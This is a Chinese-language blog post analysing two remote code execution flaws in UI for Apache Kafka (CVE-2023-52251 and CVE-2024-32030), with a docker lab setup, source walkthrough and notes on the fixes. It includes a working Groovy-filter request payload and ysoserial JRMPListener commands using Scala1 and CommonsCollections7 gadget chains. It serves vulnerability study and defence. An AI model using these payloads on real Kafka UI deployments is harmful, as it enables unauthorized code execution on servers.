Apache Kafka UI 远程代码执行漏洞分析
UI for Apache Kafka 远程代码执行漏洞分析
前言
UI for Apache Kafka 是 Provectus 开源的针对 Apache Kafka 的一款管理界面。kafka-ui 0.4.0版本至0.7.1版本存在安全漏洞,第一个漏洞可执行任意的 Groovy 脚本,第二个漏洞可通过滥用 Kafka UI 连接到恶意 JMX 服务器来利用,从而通过不安全的反序列化导致 RCE。UI for Apache Kafka 默认情况下没有开启认证授权。
环境搭建
UI for Apache Kafka项目地址:https://github.com/provectus/kafka-ui
目前最新版是v0.7.2,修复了漏洞,这里分析两个漏洞使用的版本是v0.7.1,并且使用的是docker来搭建
Kafka
version: "3"
services:
kafka:
image: 'bitnami/kafka:latest'
ports:
- '9092:9092'
environment:
- KAFKA_CFG_NODE_ID=0
- KAFKA_CFG_PROCESS_ROLES=controller,broker
- KAFKA_CFG_LISTENERS=PLAINTEXT://:9092,CONTROLLER://:9093
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
- KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=0@kafka:9093
- KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
- KAFKA_CFG_AUTO_CREATE_TOPICS_ENABLE=true
- KAFKA_CFG_ADVERTISED_LISTENERS=PLAINTEXT://192.168.79.147:9092 #替换成你自己的IP
UI for Apache Kafka
services:
kafka-ui:
restart: always
container_name: kafka-ui
network_mode: "bridge"
image: provectuslabs/kafka-ui:v0.7.1
ports:
- 8888:8080
- 5005:5005
volumes:
- /home/ui-kafka/etc/localtime:/etc/localtime
environment:
- DYNAMIC_CONFIG_ENABLED=true #允许允许后修改集群配置,针对CVE-2024-32030
# 集群名称
- KAFKA_CLUSTERS_0_NAME=local
# 集群地址
- KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS=192.168.79.147:9092 #替换成你自己的IP
command: ["sh", "-c", "java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 --add-opens java.rmi/javax.rmi.ssl=ALL-UNNAMED -jar kafka-ui-api.jar"] #调试用
默认情况下,UI for Apache Kafka 不允许在运行时更改其配置。当应用程序启动时,它会从系统环境、配置文件(例如 application.yaml)和 JVM 参数(由 设置-D
)中读取配置。一旦读取配置,它将被视为不可变的,即使配置源(例如文件)发生更改也不会刷新。从 0.6 版开始,添加了在运行时更改集群配置的功能。默认情况下,此选项处于禁用状态,应隐式启用。要启用它,需要将DYNAMIC_CONFIG_ENABLED
env 属性设置为true
或将dynamic.config.enabled: true
属性添加到 yaml 配置文件中。
允许后效果如下,由于没有开启身份认证,直接进入管理界面
CVE-2023-52251
UI for Apache Kafka允许根据用户提供的过滤器显示通过 Kafka 集群的消息。支持的过滤器类型之一是 GROOVY_SCRIPT
。通过使用此过滤器,用户不仅可以查看消息的内容和属性,还可以在服务器上执行任意代码。
漏洞复现
添加一个过滤器
如果当前Topics有任何消息,脚本将立即在服务器上执行。或者,可以使用 UI 界面向代理发送新消息以触发脚本执行。
脚本执行效果
代码分析
经过简单的分析代码可知道,该模块的相关代码在com.provectus.kafka.ui.controller.MessagesController
类,这个类实现了接口MessagesApi
查看接口,这里定义了请求的路径和获取的参数
在漏洞复现的时候,当点击Submit的使用,会发起一个这样的请求(URLdecode后的)
http://192.168.79.147:8888/ui/clusters/local/all-topics/aaa/messages?q=new ProcessBuilder("touch","/tmp/2222.txt").start()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING
对比了MessagesApi中的路径,找到其调用的是getTopicMessages
方法
回到MessagesController类,找到getTopicMessages
方法
方法的前面都是,参数的设置,如果为空则修改为默认值,然后将处理好的参数传入this.messagesService.loadMessages
这个this.messagesService
是一个MessagesService对象
跟进查看,这里withExistingTopic
会对topic进行检测是否存在,然后把query
参数传递到loadMessagesImpl
方法中
继续跟进查看
跟进getMsgFilter
,这里只是简单的判断内容是否为null
跟进createMsgFilter
,这里根据脚本类型进行解析,此时的type
为GROOVY_SCRIPT
,进入到groovyScriptFilter
根进到groovyScriptFilter
这里就是对groovy脚本进行编译运行了,触发代码执行
自此,输入的groovy脚本只有一个判断是否为空,没有其他的检查过滤处理
官方修复
我找到的官方漏洞修复,添加一个设置filtering.groovy.enabled
来控制groovy脚本能不能执行
CVE-2024-32030
这个漏洞利用的前提是,开启DYNAMIC_CONFIG_ENABLED=true
,默认是不开启的,但是官方建议开启 ,这个设置的作用就是能够在UI for Apache Kafka运行的使用修改一些配置。
如果没有开启,下面这两个按钮是不出现的,即使可以通过输入url的方式访问指定页面,也不能提交修改
漏洞复现
点击Configure new cluster
,通过指定网络地址和端口来连接到不同的Kafka brokers ,以攻击者的角度来讲,这里输入的是个临时起的Kafka brokers,确保能正常连接
点击Configure Metrics
,设置连接JMX, 这个是监控Kafka brokers性能的功能,JMX基于RMI协议,因此可能容易受到反序列化攻击,攻击者可创建一个恶意JMX侦听器为任何RMI调用返回恶意序列化对象,成功利用该漏洞可能导致远程代码执行。
此时需要一个rmi服务,起在上面临时起Kafka brokers的机器上,并且还需要找到一条合适的利用链
首先查看依赖,发现存在Commons-Collections-3.2.2
这个版本比起多条利用链的3.2.1版本,添加了一个配置 org.apache.commons.collections.enableUnsafeSerialization
,这个配置用来检测反序列化是否安全,不安全的会抛出异常,所以要想办法设置org.apache.commons.collections.enableUnsafeSerialization=true
这里使用的工具是https://github.com/artsploit/ysoserial/tree/scala1 ,需要自己编译
第一步先设置org.apache.commons.collections.enableUnsafeSerialization=true
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
第二步利用CC7执行命令
./java -cp '/root/Desktop/ysoserial-0.0.6-SNAPSHOT-all.jar' ysoserial.exploit.JRMPListener 1234 CommonsCollections7 "touch /tmp/a.txt"
执行结果
代码分析
依旧是先从控制器中获取线索,通过控制器名称,锁定了com.provectus.kafka.ui.service.metrics.MetricsCollector
这个getMetrics
方法,是先判断前端选择的类型,漏洞所在的是类型JMX
,参数被传入this.jmxMetricsRetriever.retrieve
方法进行处理
跟进查看
该方法先检测当前Kafka集群c
配置是否了SSL JMX端点,并且系统是否支持SSL JMX。因为两个条件都为false,进入到else语句中,跟进this.retrieveSync()
这个方法开始准备连接,通过拼接前端输入的Kafka集群IP和JMX端口构造jmxUrl
,然后传入到withJmxConnector
进行连接
这里的JMX ,实际使用的是rmi进行连接,可以直接使用rmi反序列化进行利用……
官方修复
我没找到特别明显的修改,难道是这个?
将commons-collections4 库替换commons-collections,去除利用链
后语
要缓解这两个漏洞,建议更新版本,并开启认证授权,设置DYNAMIC_CONFIG_ENABLED=false